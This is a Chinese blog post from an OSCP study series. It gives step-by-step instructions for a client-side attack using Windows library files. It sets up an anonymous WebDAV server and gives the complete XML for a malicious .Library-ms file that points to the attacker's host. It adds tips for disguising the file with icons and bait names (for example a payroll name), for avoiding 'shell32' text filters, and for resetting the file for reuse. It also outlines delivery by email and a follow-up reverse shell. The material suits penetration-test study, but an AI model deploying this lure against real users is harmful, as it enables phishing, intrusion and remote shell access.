6-5〔O҉S҉C҉P҉ ◈ 研记〕❘ 客户端攻击▸利用Windows库文件进行攻击-1
郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。
💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥
更多文章戳👉晖度丨安全视界-CSDN博客🚀(原名:whoami!)
𖤐 客户端攻击通常是欺骗用户在操作系统上执行恶意代码,小心啊 !
𖤐 𝓒𝓵𝓲𝓮𝓷𝓽-𝓼𝓲𝓭𝓮 𝓪𝓽𝓽𝓪𝓬𝓴𝓼 𝓾𝓼𝓾𝓪𝓵𝓵𝔂 𝓽𝓻𝓲𝓬𝓴 𝓾𝓼𝓮𝓻𝓼 𝓲𝓷𝓽𝓸 𝓮𝓍𝓮𝓬𝓾𝓽𝓲𝓷𝓰 𝓶𝓪𝓵𝓲𝓬𝓲𝓸𝓾𝓼 𝓬𝓸𝓭𝓮 𝓸𝓷 𝓽𝓱𝓮 𝓸𝓹𝓮𝓻𝓪𝓽𝓲𝓷𝓰 𝓼𝔂𝓼𝓽𝓮𝓶, 𝓼𝓸 𝓫𝓮 𝓬𝓪𝓻𝓮𝓯𝓾𝓵 !
→ 信息收集
→ 漏洞检测
→ 初始立足点▸客户端攻击▸利用Windows库文件进行攻击-1-----我们在这儿~ 🔥🔥🔥
→ 权限提升
→ 横向移动
→ 报告/分析
→ 教训/修复
目录
1 客户端攻击
1.2 利用Windows库文件进行客户端攻击
1.2.1 创建库文件并可链接到WebDAV共享目录
1.2.1.1 WebDAV服务器搭建
1.安装WsgiDAV
2.创建WebDAV共享目录结构
1.2.1.2 启动WebDAV服务
1.2.1.3 创建Windows库文件(.Library-ms)
1.远程连接到Windows主机
2.库文件创建
1.2.1.4 编写Windows库文件内容(重点)
1.通用库信息
2.库属性
3.库位置
1.2.1.5 库文件功能验证
1.2.1.6 注意:每次发送库文件时,还原库文件代码
1.Windows自动修改行为
2.解决方案:文件重置策略
1.2.2 后续攻击说明
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
1 客户端攻击
1.2 利用Windows库文件进行客户端攻击
1.2.1 创建库文件并可链接到WebDAV共享目录
本实验演示:搭建WebDAV共享服务器并创建恶意的Windows库文件,并让库文件链接到WebDAV共享目录,用于后续的安全测试和攻击演示。
📋 实验步骤总览
| 步骤 | 内容 | 工具/技术 | 目标 |
|---|---|---|---|
| 1 | 搭建WebDAV共享服务器 | WsgiDAV + Kali Linux | 创建文件共享环境 |
| 2 | 配置WebDAV共享目录 | 文件系统配置 | 共享目录放置.lnk文件共享 |
| 3 | 创建Windows库文件 | Visual Studio Code | 制作恶意.Library-ms文件 |
| 4 | 文件伪装 | 图标替换 | 增强文件诱惑性 |
1.2.1.1 WebDAV服务器搭建
1.安装WsgiDAV
# 使用pip3安装WsgiDAV
pip3 install wsgidav# 如果出现externally-managed-environment错误,使用以下命令
pip3 install wsgidav --break-system-packages
⚠️ 注意:
--break-system-packages参数仅在遇到权限错误时使用
2.创建WebDAV共享目录结构
# 创建WebDAV共享根目录(路径)
mkdir /home/kali/webdav# 在目录中放置测试文件
echo "This is a test file" > /home/kali/webdav/test.txt
1.2.1.2 启动WebDAV服务
/home/kali/.local/bin/wsgidav --host=0.0.0.0 --port=80 --auth=anonymous --root /home/kali/webdav/
参数详解表
| 参数 | 值 | 作用说明 |
|---|---|---|
--host | 0.0.0.0 | 监听所有网络接口,允许外部访问 |
--port | 80 | 使用HTTP标准端口提供服务 |
--auth | anonymous | 匿名认证,无需登录验证 |
--root | /home/kali/webdav/ | 设置共享根目录路径 |
服务验证
-
在浏览器中访问:
http://127.0.0.1 -
预期结果:能够看到test.txt文件并成功访问
-
后续:用于放置.lnk文件,用于给访问者下载
1.2.1.3 创建Windows库文件(.Library-ms)
1.远程连接到Windows主机
远程连接到Windows主机,将在这台机器上创建库文件、快捷方式文件。
# 使用RDP连接Windows客户端
xfreerdp /v:192.168.50.194 /u:offsec /p:lab
2.库文件创建
-
打开Visual Studio Code
-
双击桌面VSC图标启动应用程序
-
-
创建新文件
-
菜单选择:
文件 > 新建文本文件
-
-
保存为库文件
-
文件名:
config.Library-ms -
保存位置:
offsec用户桌面
-
备注:也可以使用记事本来创建,然后格式改为
Library-ms。
文件伪装技巧
🔍 观察:默认.Library-ms文件图标较为普通,可能引起用户怀疑。如下图:
伪装策略:
-
更改文件图标为常见文档类型图标
-
使用诱人的文件名(如:
工资单.Library-ms) -
放置在合理的目录位置
1.2.1.4 编写Windows库文件内容(重点)
库文件的介绍,详见上一篇文章:6-4〔O҉S҉C҉P҉ ◈ 研记〕❘ 客户端攻击▸利用Windows库文件攻击概述
Windows库文件(.Library-ms)通过XML格式定义,包含三个核心部分:
| 组件部分 | 功能作用 | 攻击利用价值 |
|---|---|---|
| 通用库信息 | 定义文件命名空间和基本结构 | 建立合法的文件框架 |
| 库属性 | 设置显示名称、图标、固定状态 | 增强伪装效果,欺骗用户 |
| 库位置 | 指定远程WebDAV连接参数 | 核心攻击载荷,连接远程服务器 |
1.通用库信息
库文件的命名空间。从Windows 7开始的库文件版本的命名空间。列表还包含库描述的闭合标签。我们将在libraryDescription标签内添加以下所有标签。
2.库属性
①添加库文件名称、版本标签:
name标签:指定这个库的名称。我们不能将其与我们随意设置的任意名称混淆。因为要使用系统DLL资源引用,因此需要通过提供DLL名称和索引来指定库的名称。我们使用在Microsoft网站上指定的@shell32.dll,-34575或@windows.storage.dll,-34582。我们将使用后者,以避免任何基于文本的过滤器可能会标记“shell32”的问题。
version标签:设置为我们选择的数值,例如6。

②添加isLibraryPinned标签:
该标签指定库是否固定在Windows资源管理器的导航窗格中。对于我们来说,这使整个过程更真实,即:看起来像是在本地打开的Windows资源管理器的样式。因此,设置为true。
③添加iconReference标签:
该标签确定显示库文件的图标。必须以与名称元素相同的格式指定值。可使用imageres.dll来选择所有Windows图标,使用索引“-1002”来选择用户主目录下的Documents文件夹图标,或者使用索引“-1003”来选择Pictures文件夹图标。我们使用后者,使其看起来更加逼真(友好)。

④添加templateInfo标签:其中包含folderType标签。
该标签决定在打开Windows资源管理器后默认显示的列和详细信息库。我们需要指定一个GUID:可在Microsoft文档网页上查找。本例中使用DocumentsGUID(设置默认视图模板)以尽可能地让目标相信。

库属性配置总结:
| XML标签 | 设置值 | 技术说明 | 攻击用途 |
|---|---|---|---|
<name> | @windows.storage.dll,-34582 | 使用系统DLL资源引用 | 规避文本检测,避免"shell32"触发安全警报 |
<version> | 6 | 库文件版本号 | 保持与系统兼容性 |
<isLibraryPinned> | true | 固定在导航窗格 | 增强真实性,模仿用户常用库 |
<iconReference> | @imageres.dll,-1003 | 使用图片文件夹图标 | 视觉欺骗,让文件看起来无害 |
<folderType> | Documents的GUID | 设置默认视图模板 | 模仿文档库行为特征 |
3.库位置
这部分,指定了库文件应该指向的存储位置(WebDAV服务器地址)。
①添加searchConnectorDescriptionList标签:
其中包含由searchConnectorDescription定义的搜索连接器:被库文件用于指定到远程位置的连接设置。
可以在searchConnectorDescriptionList标签内指定一个或多个searchConnectorDescription。本例,我们只指定一个。(如果库文件要包含其他文件时需要添加其他访问链接。)
②添加searchConnectorDescription标签:
在搜索连接器的描述中,将指定我们的WebDAV共享的信息和参数。
添加的第一个标签:isDefaultSaveLocation标签,其值设置为true。这个标签决定当用户选择保存项目时,设为默认保存位置:Windows资源管理器的行为。
添加的第二个标签:isSupported标签,兼容性设置,避免系统警告提示可将其设置为false。
添加的第三个标签:最重要的标签是url。将其指向之前创建的WebDAV共享并通过HTTP。它包含在simpleLocation标签中。

库位置配置总结:
| XML标签 | 设置值 | 功能作用 | 攻击意义 |
|---|---|---|---|
<isDefaultSaveLocation> | true | 设为默认保存位置 | 诱导用户操作,增加接触机会 |
<isSupported> | false | 兼容性设置 | 避免系统警告提示 |
<url> | http://[Kali_IP]/ | WebDAV服务器地址 | 攻击连接点,指向恶意文件源 |
把以上所有的代码复制到之前新建的库文件中,并保存。
<!-- 🏷️ 通用库信息配置 -->
<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library"><!-- 🏷️ 库属性配置 --><name>@windows.storage.dll,-34582</name><version>6</version><isLibraryPinned>true</isLibraryPinned><iconReference>@imageres.dll,-1003</iconReference><templateInfo><folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType></templateInfo><!-- 🏷️ 库位置配置 --><searchConnectorDescriptionList><searchConnectorDescription><isDefaultSaveLocation>true</isDefaultSaveLocation><isSupported>false</isSupported><simpleLocation><url>http://192.168.50.128/</url></simpleLocation></searchConnectorDescription></searchConnectorDescriptionList><!-- 🏷️ 通用库信息闭合标签 -->
</libraryDescription> 
1.2.1.5 库文件功能验证
验证目标:完成库文件编辑和保存后,双击库文件时就自动打开远程的WebDAV共享目录,就像在浏览器输入url访问那样,但样式变成更加迷惑人的。
测试执行步骤:
-
双击打开
config.Library-ms文件(图片的图标) -
观察结果:使用Windows资源管理器正常打开(其实是http协议,只是显示Windows资源管理器样式)。就好像打开了本地的Windows资源管理器那样令人安心。
-
验证内容:成功显示WebDAV服务器上共享中的
test.txt文件

攻击效果评估:
| 测试项目 | 预期效果 | 实际结果 | 评估 |
|---|---|---|---|
| 文件打开 | 无安全警告 | ✅ 正常打开 | 优秀 |
| 远程连接 | 透明连接WebDAV | ✅ 成功加载 | 优秀 |
| 路径显示 | 隐藏远程痕迹 | ✅ 只显示"config" | 完美 |
| 用户体验 | 与本地文件夹无差异 | ✅ 完全一致 | 优秀 |
1.2.1.6 注意:每次发送库文件时,还原库文件代码
1.Windows自动修改行为
当Windows库文件重新打开(第二次)时,Windows系统会自动对其进行两处关键修改:
| 修改位置 | 原始状态 | 自动修改后状态 | 影响分析 |
|---|---|---|---|
| 新增标签 | 无<serialized>标签 | 自动添加包含Base64编码的<serialized>标签 | 🚨 可能导致跨系统兼容性问题 |
| URL格式 | http://192.168.119.2/ | \\192.168.119.2\DavWWWRoot | 🔄 Windows资源管理器显示一个空的WebDAV共享 |

技术原因分析:
-
Windows优化机制:系统尝试优化WebDAV客户端连接性能
-
路径转换:将HTTP URL转换为UNC路径格式
-
状态序列化:通过Base64编码保存连接状态信息
2.解决方案:文件重置策略
就是重置回原来的代码即可,每次执行Windows库文件时都需要这样做。
| 检查项 | 重置前(问题状态) | 重置后(正常状态) | 重要性 |
|---|---|---|---|
<serialized>标签 | ❌ 存在 | ✅ 不存在 | 🔴 关键 |
| URL格式 | ❌ UNC路径 | ✅ HTTP URL | 🔴 关键 |
| 跨计算机兼容性 | ❌ 可能失败 | ✅ 保证工作 | 🟡 重要 |
| WebDAV连接 | ⚠️ 可能空共享 | ✅ 正常加载 | 🔴 关键 |
💡 关键洞察:虽然每次都要重置,但是对于单一受害者,只需要其双击文件一次即可。
1.2.2 后续攻击说明
-
🐚 载荷部署:在WebDAV共享目录放置恶意快捷方式文件(实现反向shell)
-
📧 邮件投递:将库文件作为附件发送
-
🎣 诱导执行:通过社会工程学诱导用户点击(执行)
-
🔙 建立连接:成功获取反向shell
接下来文章中进行说明以上的后续内容。
💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬
您的支持是我创作最大的动力!

